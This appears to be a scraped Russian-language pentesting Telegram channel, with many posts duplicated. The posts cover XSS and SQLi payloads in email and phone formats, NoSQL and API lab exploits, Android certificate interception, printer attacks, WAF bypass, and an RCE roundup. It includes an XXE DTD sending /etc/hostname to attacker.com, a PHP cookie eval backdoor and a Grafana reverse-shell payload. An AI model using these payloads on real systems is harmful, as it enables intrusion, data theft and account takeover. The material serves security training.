Полезные нагрузки в Email и номере телефона
✉️Начнем с мыла. Есть такой стандарт RFC822, который описывает форматы электронных адресов. Вот несколько примеров таких форматов:
📱А теперь мобила. RFC5341 описывает форматы телефонных номеров. Он составляется следующим образом:
Вот эти опциональные параметры нас и интересуют. В них нередко можно записать что-то своё, вызывая таким образом потенциальное место под XSS или SSRF:
P.S. Соединил в одно два поста: про мыло и про мобилу, так как постоянно пользуюсь этой фишкой.
✉️Начнем с мыла. Есть такой стандарт RFC822, который описывает форматы электронных адресов. Вот несколько примеров таких форматов:
"payload"@domain.com
name@"payload"domain.com
name(payload)@domain.com
name@(payload)domain.com
name@domain.com(payload)
Если следовать этому формату, в ваше мыло можно запихнуть что угодно, будь-то XSS или SQL:"<img/src/onerror=alert(0)>"@domain.comПроблема в том, что гмейл и любые другие мейловые сервисы не разрешают создание подобных почт, потому вместо почтового сервиса можно просто использовать ваш коллаборатор:
name(<script>alert(0)</script>)@domain.com
name@domain(<script>alert(1)</script>).com
"'OR 1=1 --'"@domain.com
"<img/src/onerror=alert(0)>"@kek.oastify.comИ письмо с кодом регистрации придет вам прямо на него. Так же по этой ссылке можно посмотреть правильно ли вы составили ваше мыло.
📱А теперь мобила. RFC5341 описывает форматы телефонных номеров. Он составляется следующим образом:
+32 (глобальный идентификатор) 0664343431 (номер) ;ext=+32 ;isub=12345 ;phone-context=kek (опциональные параметры)Вот эти опциональные параметры нас и интересуют. В них нередко можно записать что-то своё, вызывая таким образом потенциальное место под XSS или SSRF:
+320664343431;phone-context=<script>alert(1)</script>
+320664343431;phone-context=kek
.com
Так же на HackTricks больше описано вариантов, как можно поиграться с этими форматами.P.S. Соединил в одно два поста: про мыло и про мобилу, так как постоянно пользуюсь этой фишкой.
🔥5🤪2
Дополнительным же вектором атаки на почты может стать факт того, что
Где это можно использовать? Например попробовать таким образом провести Account Takeover:
Есть жертва с мылом
realslimshady@gmail.com | realslimshady+lol1@gmail.com | realslimshady+lol2@gmail.com | realslim.shady@gmail.com обозначают один и тот-же realslimshady@gmail.com
А письма, адресованные на realslimshady@gmail.com и realslimshady@googlemail.com, так же получит один и тот же человек.Где это можно использовать? Например попробовать таким образом провести Account Takeover:
Есть жертва с мылом
salvavulva@gmail.com
Идем и тупо по приколу регистрируем salva.vulva@gmail.com
Если на сервисе нету валидации и подтверждения почты, вы перезапишите пароль жертвы и получите доступ в его аккаунт.🔥10❤2👍2💋2☃1
Forwarded from Cybred
Начиная с Android 14, Google немного решили закрутить гайки и вместо привычного
Это значит, что монтировать
Поэтому, если вы захотите перехватывать трафик на новых устройствах, придется следовать другому алгоритму:
1. Монтируем
2. Используем nsenter, чтобы забиндить каждый новый процесс и заставить его ссылаться на нашу директорию в качестве APEX-контейнера
для уже запущенных можно сделать так
/system/etc/security/cacerts, все CA сертификаты будут загружаться из неизменяемого контейнера /apex/com.android.conscrypt/cacerts.Это значит, что монтировать
/system/ на RW и класть туда сертификаты, как это можно было делать в старых версиях Android, теперь бесполезно, а в новый каталог — невозможно.Поэтому, если вы захотите перехватывать трафик на новых устройствах, придется следовать другому алгоритму:
1. Монтируем
tmpfs в любую директорию (я буду использовать старую /system/) и закидываем туда сертификаты из APEXmount -t tmpfs tmpfs /system/etc/security/cacertsне забывая в конце туда же положить сертификат Portswigger или любой другой.
mv /apex/com.android.conscrypt/cacerts/* /system/etc/security/cacerts/
2. Используем nsenter, чтобы забиндить каждый новый процесс и заставить его ссылаться на нашу директорию в качестве APEX-контейнера
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \Zygote порождает приложения, а мы его один раз перенастраиваем на использование новых неймспейсов, где в качестве неизменяемой директории APEX, — наша новая директория, которую мы можем редактировать.
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
для уже запущенных можно сделать так
nsenter --mount=/proc/$APP_PID/ns/mnt -- \Вуаля, теперь можно заворачивать и снифать трафик, как и раньше. Чтобы не мучиться каждый раз с вводом команд и поиском нужных
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
PID, прикладываю готовый скрипт с комментариями.❤🔥3🤓2🎅1
NoSQL
Ну и по классике: вышла новая тема на моей любимой платформе (я там кстати разрабатывал все эти лабы, да), а это значит, что выходит и новый пост на моём канале (я кстати админ этого паблика, да).
Суть инъекций в NoSQL отличается от привичного SQLi, но по принципу они идентичны. В этом посте собрал дополнительные источники, чтобы лучше изучить тему.
🤨1. Detecting NoSQL injection
Ну и по классике: вышла новая тема на моей любимой платформе (я там кстати разрабатывал все эти лабы, да), а это значит, что выходит и новый пост на моём канале (я кстати админ этого паблика, да).
Суть инъекций в NoSQL отличается от привичного SQLi, но по принципу они идентичны. В этом посте собрал дополнительные источники, чтобы лучше изучить тему.
🤨1. Detecting NoSQL injection
'||1||'🤨2. Exploiting NoSQL operator injection to bypass authentication
{"username":{
"$regex":"admin*"},"password":{"$ne":"invalid"}}
🤨3. Exploiting NoSQL injection to extract datauser=administrator'+&&+this.password+&&+this.password.match(/^i.*$/)%00🤨4. Exploiting NoSQL operator injection to extract unknown fields
{"username":"carlos","password":{"$ne":"invalid"},
"$where":"Object.keys(this)[3].match(/^fo.*$/)"}
{"username":"carlos","password":{"$ne":"invalid"},
"$where":"this.forgotPwd.match('^.{§§}§§.*')"}
#portswigger #nosql🤓10❤3👍1🌚1
Принтеры с моразмом
А ты знал, что наличие принтера в твоей сети или сети компании, которую ты тестишь, может принести нихеровый такой профит?
Есть целый список язв, которые могут возникнуть при эксплуатации принтера:
1. Вывод из строя путем DOS;
2. Эскалация привелегий;
3. Доступ к памяти и файловой системе принтера;
4. Выполнение произвольного кода;
5. И конечно же возможность напечатать всем в компании какой ты крутой пенистестер можешь поломать всех
Идентифицировать принтеры в сети можно с помощью нмапа: обычно - это 9100 порт, но тут можно посмотреть и другие порты.
Для облегчения себе жизни в эксплуатации используем популярный скрипт Printer Exploitation Toolkit (PRET), который имеет все необходимые команды для проблем выше.
Команда для подключения:
А ты знал, что наличие принтера в твоей сети или сети компании, которую ты тестишь, может принести нихеровый такой профит?
Есть целый список язв, которые могут возникнуть при эксплуатации принтера:
1. Вывод из строя путем DOS;
2. Эскалация привелегий;
3. Доступ к памяти и файловой системе принтера;
4. Выполнение произвольного кода;
5. И конечно же возможность напечатать всем в компании какой ты крутой пенистестер можешь поломать всех
Идентифицировать принтеры в сети можно с помощью нмапа: обычно - это 9100 порт, но тут можно посмотреть и другие порты.
Для облегчения себе жизни в эксплуатации используем популярный скрипт Printer Exploitation Toolkit (PRET), который имеет все необходимые команды для проблем выше.
Команда для подключения:
python3 pret.py 192.168.0.101 psТолько в образовательных целях.
👍10❤2😁2🤣1🤓1
Обход Out-of-Band XXE с получением содержимого файла через Path Traversal
Новости с полей, потели сегодня с челами над одним проектом и пытались раскрутить Error-Based ХХЕ. Проблема:
В итоге вот этот уважаемый господин подсказал необычное решение использовать Path Traversal прямо в DTD коде:
#xxe
Новости с полей, потели сегодня с челами над одним проектом и пытались раскрутить Error-Based ХХЕ. Проблема:
<!ENTITY % file SYSTEM "file:///etc/hostname">Этот классический DTD код для отправки файла на attacker.com не отрабатывал по неизвестным причинам: реквеста на наш сервер небыло а в респонсе при любой модификации ХМЛ сервер выдавал одну и ту же ошибку.
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
В итоге вот этот уважаемый господин подсказал необычное решение использовать Path Traversal прямо в DTD коде:
<!ENTITY % file SYSTEM "file://../../../../../../etc/hostname">И удивительно, но это сработало. В последствии стало ясно, что сервер не отправлял никаких реквестов на attacker.com, потому что не мог по каким-то причинам найти файл, если задать полный путь.
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
#xxe
👍12🤡3☃2❤1🗿1👾1
Обнаруживаем и Обходим WAF
Отличный инструмент для обнаружения Web Application Firewall. Содержит проверки для 88 различных веб-файрволлов, таких как: CloudFlare, Imperva, BIG-IP, FortiWeb и других.
Так же предоставляет возможность обхода обнаруженной защиты посредством 30+ встроенных методов тамперинга или с помощью вашего листа с полезными нагрузками.
Пример использования:
https://github.com/Ekultek/WhatWaf
#waf #cloudflare
Отличный инструмент для обнаружения Web Application Firewall. Содержит проверки для 88 различных веб-файрволлов, таких как: CloudFlare, Imperva, BIG-IP, FortiWeb и других.
Так же предоставляет возможность обхода обнаруженной защиты посредством 30+ встроенных методов тамперинга или с помощью вашего листа с полезными нагрузками.
Пример использования:
whatwaf -u http://kek.com --ra -t 10
https://github.com/Ekultek/WhatWaf
#waf #cloudflare
❤5⚡2👎2👌1
Заебись.
Прикупил себе адаптер от альфы (автор очень хотел пофлексить) и пошел заострять свои знания по взлому ВиФи сетей. Я весь такой из себя хакер-хуякер поставил пароль 32 символа на вайфай сеть, выключил всякие там надстройки и изменил дефолтный пароль на админ панели и с вычурным ебалом смотрел на себя в зеркало и говорил:"Ну крут, бля".
Пошел значится я по классной методичке по пентесту вифи (об этом сделаю пост позже) проверять че там у меня по домашней сети. Каково было моё удивление, когда я внезапно обнаружил смачный такой кал в своих шароварах, когда первая же атака из методички (даже сам автор статьи сказал шо шансы малы на такую атаку, да, да проверяй епты) прояснила мою больную голову, что я та еще лалка, потому что мой базированный гигачад шлёпа пароль был взломан за 2(!!!) секунды!!
Вывод: вырубай ты этот WPS к ебеням братан.
Прикупил себе адаптер от альфы (автор очень хотел пофлексить) и пошел заострять свои знания по взлому ВиФи сетей. Я весь такой из себя хакер-хуякер поставил пароль 32 символа на вайфай сеть, выключил всякие там надстройки и изменил дефолтный пароль на админ панели и с вычурным ебалом смотрел на себя в зеркало и говорил:"Ну крут, бля".
Пошел значится я по классной методичке по пентесту вифи (об этом сделаю пост позже) проверять че там у меня по домашней сети. Каково было моё удивление, когда я внезапно обнаружил смачный такой кал в своих шароварах, когда первая же атака из методички (даже сам автор статьи сказал шо шансы малы на такую атаку, да, да проверяй епты) прояснила мою больную голову, что я та еще лалка, потому что мой базированный гигачад шлёпа пароль был взломан за 2(!!!) секунды!!
Вывод: вырубай ты этот WPS к ебеням братан.
👍14🌚4😱3🤡2👾2❤1
А у нас тут, оказывается, собралась в общей сложности целая тысяча пенистестеров. Расчехляйте водяру господа, пора нам всем протестировать длительность алкогольного делирия, знаете ли.
Благодарность за вашу активность под постами, когда я очередной раз вижу клоуна или огонек, внутри меня что-то загорается, так и хочется продолжать бурпить мемные посты с шутками про пенисы и турбо-интрудер, которые никак не будут похожи на пресный контент в других пабликах.
Карочи спс (вот да епты бла, вот такое поздравление).
Благодарность за вашу активность под постами, когда я очередной раз вижу клоуна или огонек, внутри меня что-то загорается, так и хочется продолжать бурпить мемные посты с шутками про пенисы и турбо-интрудер, которые никак не будут похожи на пресный контент в других пабликах.
Карочи спс (вот да епты бла, вот такое поздравление).
❤17🤡12❤🔥3🍌3 2🏆1
Remote Code Execution | Command Injection
RCE сложная и проворная уязвимость, которую хер так просто найдешь при багбаунти или АпСеке. Попался на глаза вот такой ролик, где чувак рассказывает про случаи инъекций команд, в каких местах они вызываются и как находятся. Я решил просто расписать коротко каждый случай из видео с прикрепленным к нему статьей/РоС-ом, чтобы не долбаться каждый раз и не пересматривать видос.
1. Сложная RCE через миграцию GitLab репозиториев с одного инстанса на другой. РоС.
2. /.git/config раскрывает ключ, который можно использовать для выполнения команд на сервере. Статья.
3. Выполнение команд прямо через куки на сервере с PHP (Статья):
4. Сервер на Руби при фаззинге параметров выдает ошибку через Rack и палит секрет для подписи куки. С помощью этого секрета создаем свой сериализованный объект с РЦЕ внутри. Статья.
5. RCE через CSRF на ажур, с интересным обходом проверки Origin (Статья):
6. Классическая SSTI на uber через имя профиля с отрабатыванием кода в письме. PoC.
7. RCE через SQL инъекцию. PoC.
8. Dependency Confusion. Об этом типе атак я делал пост ранее.
9. 0day уязвимости: Secure VPN.
10. RCE через картинки: ExifTool.
11. RCE через инъекцию опций в git.
12. Инъекция в параметр СМТП сервера на Grafana. РоС.
14 Потенциальная RCE через генерацию PDF файлов с использованием headless Chromium. Репорт.
#rce
RCE сложная и проворная уязвимость, которую хер так просто найдешь при багбаунти или АпСеке. Попался на глаза вот такой ролик, где чувак рассказывает про случаи инъекций команд, в каких местах они вызываются и как находятся. Я решил просто расписать коротко каждый случай из видео с прикрепленным к нему статьей/РоС-ом, чтобы не долбаться каждый раз и не пересматривать видос.
1. Сложная RCE через миграцию GitLab репозиториев с одного инстанса на другой. РоС.
2. /.git/config раскрывает ключ, который можно использовать для выполнения команд на сервере. Статья.
3. Выполнение команд прямо через куки на сервере с PHP (Статья):
{$_COOKIE['c'] .= ';';eval($_COOKIE['c']);exit;}4. Сервер на Руби при фаззинге параметров выдает ошибку через Rack и палит секрет для подписи куки. С помощью этого секрета создаем свой сериализованный объект с РЦЕ внутри. Статья.
5. RCE через CSRF на ажур, с интересным обходом проверки Origin (Статья):
https://<my-webapp>.scm.azurewebsites.net._.<attacker-site>./6. Классическая SSTI на uber через имя профиля с отрабатыванием кода в письме. PoC.
7. RCE через SQL инъекцию. PoC.
8. Dependency Confusion. Об этом типе атак я делал пост ранее.
9. 0day уязвимости: Secure VPN.
10. RCE через картинки: ExifTool.
11. RCE через инъекцию опций в git.
12. Инъекция в параметр СМТП сервера на Grafana. РоС.
"password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
13. Классический RCE через SSRF через Gopher. Статья.14 Потенциальная RCE через генерацию PDF файлов с использованием headless Chromium. Репорт.
#rce
❤7 3🍓2❤🔥1🤡1
API Labs
На моей нелюбимой платформе SwiggerPort, не выкатили новые лабки по АПИ (я кстати не делал эти лабки, нет). А это значит, что не выходит и новый пост на не моём паблике (я кстати не админ этого паблика, нет).
Суть этого раздела дать тебе понять, что фаззить, сука, надо. И надо это делать красиво. А чтобы и ты мог делать это красиво, можешь использовать вот этот лист с параметрами для фаззинга.
🤨1. Exploiting an API endpoint using documentation
🤨2. Exploiting server-side parameter pollution in a query string
Находим forgotPassword.js файл и выясняем, что есть параметр reset-token.
Теперь создаем POST /forgot-password запрос с %26 символом (означает, что он декодируется в & на серверной части) и фаззим (например через интрудер) параметр, там где $$:
В итоге с помощью фаззинга находим параметр field. Вспоминаем, что мы нашли в жс коде ранее параметр ресет-токен и составляем финальный вид:
Таким образом вы говорите серверу (из-за parameter pollution) выдать вам ресет токен пользователя администратор.
🤨3. Finding and exploiting an unused API endpoint
Меняем GET на PATCH:
🤨4. Exploiting a mass assignment vulnerability
Ищем параметры в ответе сервера:
GET /api/checkout
Теперь создаем POST /api/checkout реквест с найденным ранее параметром. Изменяем значение percentage на 100 (типа 100% скидка понял да):
#portswigger #api
На моей нелюбимой платформе SwiggerPort, не выкатили новые лабки по АПИ (я кстати не делал эти лабки, нет). А это значит, что не выходит и новый пост на не моём паблике (я кстати не админ этого паблика, нет).
Суть этого раздела дать тебе понять, что фаззить, сука, надо. И надо это делать красиво. А чтобы и ты мог делать это красиво, можешь использовать вот этот лист с параметрами для фаззинга.
🤨1. Exploiting an API endpoint using documentation
GET /api/
DELETE /api/user/carlos
🤨2. Exploiting server-side parameter pollution in a query string
Находим forgotPassword.js файл и выясняем, что есть параметр reset-token.
Теперь создаем POST /forgot-password запрос с %26 символом (означает, что он декодируется в & на серверной части) и фаззим (например через интрудер) параметр, там где $$:
csrf={ваш_csrf}&username=administrator%26$$В итоге с помощью фаззинга находим параметр field. Вспоминаем, что мы нашли в жс коде ранее параметр ресет-токен и составляем финальный вид:
csrf={ваш_csrf}&username=administrator%26field=reset_tokenТаким образом вы говорите серверу (из-за parameter pollution) выдать вам ресет токен пользователя администратор.
🤨3. Finding and exploiting an unused API endpoint
Меняем GET на PATCH:
PATCH /api/products/1/price
{
"price":0
}
🤨4. Exploiting a mass assignment vulnerability
Ищем параметры в ответе сервера:
GET /api/checkout
"chosen_discount":{"percentage":0}Теперь создаем POST /api/checkout реквест с найденным ранее параметром. Изменяем значение percentage на 100 (типа 100% скидка понял да):
{"chosen_products":[{"product_id":"1","quantity":1}],
"chosen_discount":{"percentage":100}}#portswigger #api
Полезное
Чувак собрал большой список обходов WAF, найденных багхантерами в твиттере. В список входят такие файрволлы, как: Imperva, Akamai, F5, Checkpoint, Fortinet и другие.
https://github.com/waf-bypass-maker/waf-community-bypasses/tree/main
#waf
Чувак собрал большой список обходов WAF, найденных багхантерами в твиттере. В список входят такие файрволлы, как: Imperva, Akamai, F5, Checkpoint, Fortinet и другие.
https://github.com/waf-bypass-maker/waf-community-bypasses/tree/main
#waf
Желаю, чтобы все дерьмо осталось в 2023 и 2024 приблизил длинную взлётную полосу вашего самолета к концу и вы достигли желаемого. С праздником!